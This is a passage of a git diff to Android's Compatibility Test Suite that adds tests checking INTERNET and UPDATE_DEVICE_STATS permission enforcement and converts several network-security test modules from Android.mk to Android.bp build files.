+                  android:label="InternetPermissionTest">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--
+        The CTS stubs package cannot be used as the target application here,
+        since that requires many permissions to be set. Instead, specify this
+        package itself as the target and include any stub activities needed.
+
+        This test package uses the default InstrumentationTestRunner, because
+        the InstrumentationCtsTestRunner is only available in the stubs
+        package. That runner cannot be added to this package either, since it
+        relies on hidden APIs.
+    -->
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.networkpermission.internetpermission.cts"
+                     android:label="CTS tests for INTERNET permissions">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/netpermission/internetpermission/AndroidTest.xml b/tests/tests/netpermission/internetpermission/AndroidTest.xml
new file mode 100644
index 0000000..da594e9
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS internet permission test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNetTestCasesInternetPermission.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.networkpermission.internetpermission.cts" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
diff --git a/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java b/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java
new file mode 100644
index 0000000..2b7c8b5
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.networkpermission.internetpermission;
+
+import static org.junit.Assert.fail;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.Socket;
+/**
+* Test that protected android.net.ConnectivityManager methods cannot be called without
+* permissions
+*/
+@RunWith(AndroidJUnit4.class)
+public class InternetPermissionTest {
+
+    /**
+     * Verify that create inet socket failed because of the permission is missing.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#INTERNET}.
+     */
+    @SmallTest
+    @Test
+    public void testCreateSocket() throws Exception {
+        try {
+            Socket socket = new Socket("example.com", 80);
+            fail("Ceate inet socket did not throw SecurityException as expected");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+}
diff --git a/tests/tests/netpermission/updatestatspermission/Android.bp b/tests/tests/netpermission/updatestatspermission/Android.bp
new file mode 100644
index 0000000..db6b3f2
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetTestCasesUpdateStatsPermission",
+    defaults: ["cts_defaults"],
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["ctstestrunner-axt"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
new file mode 100644
index 0000000..a4eca82
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.networkpermission.updatestatspermission.cts">
+
+    <!--
+         This CTS test is designed to test that an unprivileged app cannot get the
+         UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
+         UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
+         test cannot have.
+    -->
+    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS" />
+    <uses-permission android:name="android.permission.INTERNET" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.networkpermission.updatestatspermission.cts.UpdateStatsPermissionTest"
+                  android:label="UpdateStatsPermissionTest">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--
+        The CTS stubs package cannot be used as the target application here,
+        since that requires many permissions to be set. Instead, specify this
+        package itself as the target and include any stub activities needed.
+
+        This test package uses the default InstrumentationTestRunner, because
+        the InstrumentationCtsTestRunner is only available in the stubs
+        package. That runner cannot be added to this package either, since it
+        relies on hidden APIs.
+    -->
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.networkpermission.updatestatspermission.cts"
+                     android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidTest.xml b/tests/tests/netpermission/updatestatspermission/AndroidTest.xml
new file mode 100644
index 0000000..72e1e11
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS update stats permission test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNetTestCasesUpdateStatsPermission.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.networkpermission.updatestatspermission.cts" />
+        <option name="runtime-hint" value="10s" />
+    </test>
+</configuration>
diff --git a/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java b/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java
new file mode 100644
index 0000000..bea843c
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.networkpermission.updatestatspermission;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.net.TrafficStats;
+import android.os.Process;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.net.Socket;
+
+/**
+* Test that protected android.net.ConnectivityManager methods cannot be called without
+* permissions
+*/
+@RunWith(AndroidJUnit4.class)
+public class UpdateStatsPermissionTest {
+
+    /**
+     * Verify that setCounterSet for a different uid failed because of the permission cannot be
+     * granted to a third-party app.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#UPDATE_DEVICE_STATS}.
+     */
+    @SmallTest
+    @Test
+    public void testUpdateDeviceStatsPermission() throws Exception {
+
+        // Set the current thread uid to a another uid. It should silently fail when tagging the
+        // socket since the current process doesn't have UPDATE_DEVICE_STATS permission.
+        TrafficStats.setThreadStatsTag(0);
+        TrafficStats.setThreadStatsUid(/*root uid*/ 0);
+        Socket socket = new Socket("example.com", 80);
+        TrafficStats.tagSocket(socket);
+
+        // Transfer 1K of data to a remote host and verify the stats is still billed to the current
+        // uid.
+        final int byteCount = 1024;
+
+        socket.setTcpNoDelay(true);
+        socket.setSoLinger(true, 0);
+        OutputStream out = socket.getOutputStream();
+        byte[] buf = new byte[byteCount];
+        final long uidTxBytesBefore = TrafficStats.getUidTxBytes(Process.myUid());
+        out.write(buf);
+        out.close();
+        socket.close();
+        long uidTxBytesAfter = TrafficStats.getUidTxBytes(Process.myUid());
+        long uidTxDeltaBytes = uidTxBytesAfter - uidTxBytesBefore;
+        assertTrue("uidtxb: " + uidTxBytesBefore + " -> " + uidTxBytesAfter + " delta="
+                + uidTxDeltaBytes + " >= " + byteCount, uidTxDeltaBytes >= byteCount);
+    }
+
+    static final int UNSUPPORTED = -1;
+
+    /**
+     * Verify that get TrafficStats of a different uid failed because of the permission is not
+     * granted to a third-party app.
+     * <p>Tests Permission:
+     *   {@link android.Manifest.permission#UPDATE_DEVICE_STATS}.
+     */
+    @SmallTest
+    @Test
+    public void testGetStatsOfOtherUid() throws Exception {
+        // Test get stats of another uid failed since the current process does not have permission
+        assertEquals(UNSUPPORTED, TrafficStats.getUidRxBytes(/*root uid*/ 0));
+    }
+}
diff --git a/tests/tests/netsecpolicy/Android.mk b/tests/tests/netsecpolicy/Android.mk
deleted file mode 100644
index 137672e..0000000
--- a/tests/tests/netsecpolicy/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
new file mode 100644
index 0000000..65218dd
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    instrumentation_for: "CtsNetSecPolicyUsesCleartextTrafficFalse",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
deleted file mode 100644
index 0cb1260..0000000
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    ctstestserver
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalseTestCases
-
-LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficFalse
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index aedf708..0d8c67a 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.false">
+        package="com.android.cts.netsecpolicy.usescleartext_false">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.false.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_false.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to denied.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 2b91cea..3979b65 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficFalseTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.false" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_false" />
         <option name="runtime-hint" value="12m" />
     </test>
 </configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
new file mode 100644
index 0000000..00d0af8
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficTrueTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    instrumentation_for: "CtsNetSecPolicyUsesCleartextTrafficTrue",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
deleted file mode 100644
index ec4dab3..0000000
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    ctstestserver
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrueTestCases
-
-LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficTrue
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index 74964cc..1dc9e61 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.true">
+        package="com.android.cts.netsecpolicy.usescleartext_true">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.true.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_true.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is set to permitted.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index c025dad..43c31d7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficTrueTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.true" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_true" />
         <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
new file mode 100644
index 0000000..945a2ca
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "ctstestserver",
+    ],
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "common/**/*.java",
+    ],
+    instrumentation_for: "CtsNetSecPolicyUsesCleartextTrafficUnspecified",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
deleted file mode 100644
index fba1086..0000000
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    ctstestserver
-
-LOCAL_JAVA_LIBRARIES := org.apache.http.legacy android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src common)
-
-LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases
-
-LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficUnspecified
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 2a11085..711ddb6 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -17,7 +17,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.netsecpolicy.usescleartext.unspecified">
+        package="com.android.cts.netsecpolicy.usescleartext_unspecified">
 
   <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
   <application>
@@ -26,7 +26,7 @@
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                   android:targetPackage="android.netsecpolicy.usescleartext.unspecified.cts"
+                   android:targetPackage="android.netsecpolicy.usescleartext_unspecified.cts"
                    android:label="Tests for NetworkSecurityPolicy cleartext traffic policy when it is not specified.">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index ae25db7..0eb3788 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -22,7 +22,7 @@
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="com.android.cts.netsecpolicy.usescleartext.unspecified" />
+        <option name="package" value="com.android.cts.netsecpolicy.usescleartext_unspecified" />
         <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/tests/networksecurityconfig/Android.bp b/tests/tests/networksecurityconfig/Android.bp
new file mode 100644
index 0000000..df15d2b
--- /dev/null
+++ b/tests/tests/networksecurityconfig/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "tests-tests-networksecurityconfig-lib",
+    srcs: ["src/**/*.java"],
+    defaults: ["cts_defaults"],
+    libs: [
+        "compatibility-device-util-axt",
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/tests/tests/networksecurityconfig/Android.mk b/tests/tests/networksecurityconfig/Android.mk
deleted file mode 100644
index 4312beb..0000000
--- a/tests/tests/networksecurityconfig/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-include $(call all-subdir-makefiles)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
new file mode 100644
index 0000000..77e16ed
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
